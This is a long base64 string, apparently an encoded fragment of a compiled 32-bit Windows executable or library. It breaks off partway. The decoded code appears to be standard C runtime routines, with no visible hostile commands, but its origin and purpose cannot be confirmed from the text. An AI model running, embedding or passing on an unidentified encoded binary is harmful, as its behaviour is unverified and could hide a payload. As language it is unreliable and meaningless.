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HQTPDp0D1FT6KxXAABZWYvIO8t144oRgPo6dReNQwE7yHQQVjP/V1dT6Av///+DxBDrejP/gPovdA6A+lx0CYD6OnQEi8frAzPAQA+2wCvLQffYaEABAAAbwCPBiYW0/v//jYW8/v//V1DoWt7+/4PEDI2FvP7//1dXV1BXU/8VTMILEIvwi4W4/v//g/7/dS1QV1dT6J/+//+DxBCL+IP+/3QHVv8VbMQLEIvHi038X14zzVvoZM/+/4vlXcOLSAQrCMH5AomNsP7//4C96P7//y51GIqN6f7//4TJdCmA+S51CYC96v7//wB0G1D/tbT+//+Nhej+//9TUOg4/v//g8QQhcB1lY2FvP7//1BW/xVIwgsQhcCLhbj+//91rIsQi0AEi42w/v//K8LB+AI7yA+EZ////2hYIwsQK8FqBFCNBIpQ6M5RAACDxBDpTP///4v/VleL+Ys36wv/NuiWxv//WYPGBDt3BHXw/zfohsb//1lfXsOL/1WL7FZXi/HoJwAAAIv4hf90Df91COhmxv//WYvH6w6LTgSLRQiJAYNGBAQzwF9eXcIEAIv/VovxV4t+CDl+BHQEM8DrcoM+AHUragRqBOj/4P//agCJBugkxv//iwaDxAyFwHUFagxY602JRgSDwBCJRgjrzCs+wf8Cgf////9/d+NTagSNHD9T/zbo6wgAAIPEDIXAdQVqDF7rEIkGjQy4jQSYiU4EiUYIM/ZqAOjNxf//WYvGW19ew4v/VYvsXelq+///aghoEKgREOiOy/7/i0UI/zDojub//1mDZfwAi00M6EgAAADHRfz+////6AgAAADotsv+/8IMAItFEP8w6Kvm//9Zw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDomf///4vlXcOL/1aL8WoMiwaLAItASItABKOMMxIQiwaLAItASItACKOQMxIQiwaLAItASIuAHAIAAKOIMxIQiwaLAItASIPADFBqDGiUMxIQ6Dur//+LBrkBAQAAUYsAi0BIg8AYUFFo8PIREOgfq///iwa5AAEAAFGLAItASAUZAQAAUFFo+PMREOgBq///oRj3ERCDxDCDyf/wD8EIdROhGPcRED349BEQdAdQ6KXE//9ZiwaLAItASKMY9xEQiwaLAItASPD/AF7Di/9Vi+yLRQgtpAMAAHQog+gEdByD6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IPoAQ+EihIAAIPoAQ+EehIAAItFEIHm////f4OlfPj//wBAiX0IiXUM3UUI3ZWY+P//i72c+P//i8+JhYj4///B6RSLwSX/BwAAg8gAdQayATP26wky0r4AABAAM8CLnZj4//+B5///DwAD2BP+M8CE0g+VwIHh/wcAAECNscz7//8D8Im1tPj//+heQAAAUVHdHCToZEEAAFlZ6C1iAACJhZT4//89////f3QHPQAAAIB1CDPAiYWU+P//iZ0w/v//M9uF/4m9NP7//w+Vw0OJnSz+//+F9g+I7QMAAIOlkPr//wBqAl7HhZT6//8AABAAibWM+v//O94PhQACAAAzyYuEDZD6//87hA0w/v//D4XqAQAAg8EEg/kIdeSLhbT4//8z0oPAAovwg+AfaiBZK8iJhaT4//8zwMHuBUCJtbD4//+JjZD4///onV8AAIOlnPj//wBID73PiYWo+P//99CJhYz4//90A0HrAjPJaiBYK8GNVgI5haT4//+Jlaz4//8Pl8CD+nOIhbv4//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F7wAAAITAD4XnAAAAanJZO9FyCIvRiY2s+P//i8qJjaD4//+D+v8PhJYAAACL8o2FMP7//4uVsPj//yvyjQSwiYW0+P//O8pybTvzcwSLOOsCM/+NRv87w3MLi4W0+P//i0D86wIzwCOFjPj//yO9qPj//4uNkPj//9Poi42k+P//0+eLjaD4//8Lx4mEjTD+//9Ji4W0+P//ToPoBImNoPj//4mFtPj//4P5/3QIi50s/v//64+Llaz4//+LtbD4//+F9nQMi86NvTD+//8zwPOrgL27+P//ALvMAQAAdAuNQgGJhSz+///rM4mVLP7//+srM8C7zAEAAFCJhYz6//+JhSz+//+NhZD6//9QjYUw/v//U1Do1pL//4PEEIOllPr//wAzyWoEWEGJhZD6//+JjYz6//+JjVz8//9QjYWQ+v//UI2FYPz//1NQ6J+S//+DxBDpXAQAAIuFtPj//zPSQIv4g+AfaiBZK8iJhbD4//8zwMHvBUCJvbT4//+JjZD4///ovV0AAIuMnSz+//9Ig6Wc+P//AA+9yYmFqPj///fQiYWM+P//dANB6wIzyWogWCvBjRQ7OYWw+P//iZWg+P//D5fAg/pziIW7+P//D5fBg/pzdQiEwHQEsAHrAjLAhMkPhewAAACEwA+F5AAAAGpyWTvRcgiL0YmNoPj//4vCiYWs+P//g/r/D4STAAAAi/KNjTD+//+LlbT4//8r8o0MsYmNpPj//zvCcmc783MEiznrAjP/jUb/O8NzBYtB/OsCM8Ajvaj4//8jhYz4//+LjbD4///T54uNkPj//9Poi42k+P//C/iLhaz4//+D6QSJjaT4//+JvIUw/v//SE6Jhaz4//+D+P90CIudLP7//+uVi5Wg+P//i720+P//agJehf90DIvPM8CNvTD+///zq4C9u/j//wC7zAEAAHQLjUIBiYUs/v//6zOJlSz+///rKzPAu8wBAABQiYWM+v//iYUs/v//jYWQ+v//UI2FMP7//1NQ6PKQ//+DxBCDpZT6//8AM8BAibWQ+v//iYWM+v//iYVc/P//agTpGf7//4H+Avz//w+EGQEAAIOlkPr//wBqAlnHhZT6//8AABAAiY2M+v//O9kPhfcAAAAz0ouEFZD6//87hBUw/v//D4XhAAAAg8IEg/oIdeSDpZz4//8AD73HdAWNUAHrAjPSaiBYK8KL8TvBjYU4/v//iYWs+P//i/gPkoW7+P//O/NzCosXiZWw+P//6weDpbD4//8AjUb/O8NzBYtX/OsCM9KLhbD4//+D7wTB4ALB6h4z0IuFrPj//06JEIPoBImFrPj//4P+/3QIi50s/v//660zwDiFu/j//w+VwAPBK420+P//i/mJhSz+///B7wWNhZD6//+L94mNqPj//8HmAlZqAFDoWsD+/4uNqPj//zPAQIPhH9PgiYQ1kPr//41HAelAAQAAi4SdLP7//4OlnPj//wAPvcB0BY1IAesCM8lqIFgrwYP4AQ+SwIP7c4iFu/j//w+XwYP7c3UIhMB0BLAB6wIywITJD4WbAAAAhMAPhZMAAABqclk72XMCi8uD+f90aY29MP7//4vxjTyPib2s+P//O/NzCosXiZWw+P//6weDpbD4//8AjUb/O8NzBYtX/OsCM9KLhbD4//+D7wQDwMHqHzPQi4Ws+P//TokQg+gEiYWs+P//g/7/dAiLnSz+///rrou1tPj//4C9u/j//wB0C41BAYmFLP7//+sziY0s/v//6yuDpYz6//8AjYWQ+v//g6Us/v//AGoAUI2FMP7//2jMAQAAUOicjv//g8QQM/+NhZD6//9HK/6L38HrBYvzweYCVmoAUOgRv/7/M8CD5x9Ai8/T4ImENZD6//+NQwGJhYz6//+7zAEAAImFXPz//8HgAlCNhZD6//9QjYVg/P//U1DoPo7//4PEHIuFlPj//zPSagpZiY2M+P//hcAPiGMEAAD38YmFkPj//4vKiY2c+P//hcAPhHEDAACD+CZ2A2omWA+2DIUG4QsQD7Y0hQfhCxCL+YmFpPj//8HnAleNBDGJhYz6//+NhZD6//9qAFDoZb7+/4vGweACUIuFpPj//w+3BIUE4QsQjQSFANgLEFCNhZD6//8Dx1DoO8T+/4uNjPr//4PEGImNoPj//4P5AXd6i72Q+v//hf91EzPAiYW8+P//iYVc/P//6Z8CAACD/wEPhK4CAACDvVz8//8AD4ShAgAAi4Vc/P//M8mJhaj4//8z9ovH96S1YPz//wPBiYS1YPz//4PSAEaLyju1qPj//3Xg6awAAACJjIVg/P///4Vc/P//6VoCAACDvVz8//8BD4e+AAAAi71g/P//i8HB4AJQjYWQ+v//iY1c/P//UI2FYPz//1NQ6OSM//+DxBCF/3UaM8CJhYz6//+JhVz8//9QjYWQ+v//6fUBAACD/wEPhP0BAACDvVz8//8AD4TwAQAAi4Vc/P//M8mJhaj4//8z9ovH96S1YPz//wPBiYS1YPz//4PSAEaLyju1qPj//3XghckPhLgBAACLhVz8//+D+HMPgj3///8zwImFjPr//4mFXPz//1CNhZD6///p7AEAADuNXPz//429kPr//w+SwITAD4WDAAAAjb1g/P//jZWQ+v//iZWw+P//hMB1BouNXPz//4mNrPj//4TAdAyLhVz8//+JhaD4//8z0jP2iZW8+P//hckPhBEBAACNhcD4//8r+Im9fPj//40Et4uEBcD4//+Jhaj4//+FwHUlO/IPhd4AAAAhhLXA+P//jVYBiZW8+P//6ckAAACNlWD8///rgTPAM/+LzomFtPj//zmFoPj//w+ElAAAAIP5c3RXO8p1F4OkjcD4//8AQAPGiYW8+P//i4W0+P//i5Ww+P//iwSC96Wo+P//A8eD0gABhI3A+P//i4W0+P//g9IAQEGJhbT4//+L+ouVvPj//zuFoPj//3Wkhf90NIP5cw+EtAAAADvKdRGDpI3A+P//AI1BAYmFvPj//4vHM/8BhI3A+P//i5W8+P//E/9B68iD+XMPhIAAAACLvXz4//+Ljaz4//9GO/EPhf3+//+LwomVXPz//8HgAlCNhcD4//9QjYVg/P//U1DowIr//4PEELABhMB0bIuFkPj//yuFpPj//4mFkPj//w+Flfz//4uNnPj//4XJD4QTBQAAizyNnOELEIX/dV0zwImFnPb//4mFXPz//1DrOjPAiYWc9v//iYVc/P//UI2FoPb//1CNhWD8//9TUOhSiv//g8QQMsDrkIOlnPb//wCDpVz8//8AagCNhaD2//9QjYVg/P//6aEEAACD/wEPhKIEAACLhVz8//+JhZz4//+FwA+EjgQAADP2M8mLx/ekjWD8//8DxomEjWD8//+D0gBBi/I7jZz4//914IX2D4RiBAAAi4Vc/P//g/hzD4NL////ibSFYPz///+FXPz//+lBBAAA99j38YmFrPj//4vKiY2o+P//hcAPhEwDAACD+CZ2A2omWA+2DIUG4QsQD7Y0h